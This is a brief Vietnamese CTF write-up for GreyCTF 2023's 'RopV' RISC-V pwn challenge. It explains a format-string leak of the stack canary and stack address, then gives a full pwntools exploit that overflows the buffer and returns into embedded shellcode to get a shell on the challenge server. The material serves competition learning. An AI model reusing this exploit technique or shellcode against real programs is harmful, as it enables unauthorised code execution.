# WU GreyCTF-2023 ### RopV (RISC-V) - Dùng ghidra để xem qua chương trình: ![](https://hackmd.io/_uploads/ryjV9e6rh.png) - Ta có thể thấy ngay lỗi overflow và format string, ta có thể dùng fmt để leak stack và canary. ![](https://hackmd.io/_uploads/rktndlTr3.png) - Khi gdb để kiểm tra ta thấy stack có thể thực thi nên ta có thể thực hiện kỹ thuật ret2shellcode. - Ta sẽ kiếm 1 shellcode trên mạng để thực hiện ret2shellcode. - Để setup debug ta sẽ dùng `qemu-riscv64 -g 4040 ropv` để mở host và `gdb-multiarch -ex 'ropv' -ex 'target remote localhost:4040'` để remote đến host. ```python #!/usr/bin/python3 from pwn import * exe = ELF('ropv', checksec=False) # context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: r.sendlineafter(msg, data) sa = lambda msg, data: r.sendafter(msg, data) sl = lambda data: r.sendline(data) s = lambda data: r.send(data) def GDB(): gdb.attach(r, gdbscript=''' c ''') shell = b'\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x93\x06\x30\x07\x23\x0e\xd1\xee\x93\x06\xe1\xef\x67\x80\xe6\xff' if args.REMOTE: r = remote('139.177.185.41', 12335) else: r = process('qemu-riscv64 -g 4040 ropv'.split()) # GDB() sa(b'server: ', b'%9$p%p') canary = int(r.recvuntil(b'00'), 16) stack = int(r.recv(), 16) print(hex(canary)) print(hex(stack)) payload = b'a'*0x8 + p64(canary) + b'a'*8 + p64(stack+32) + shell sa(b'server: ', payload) r.interactive() ```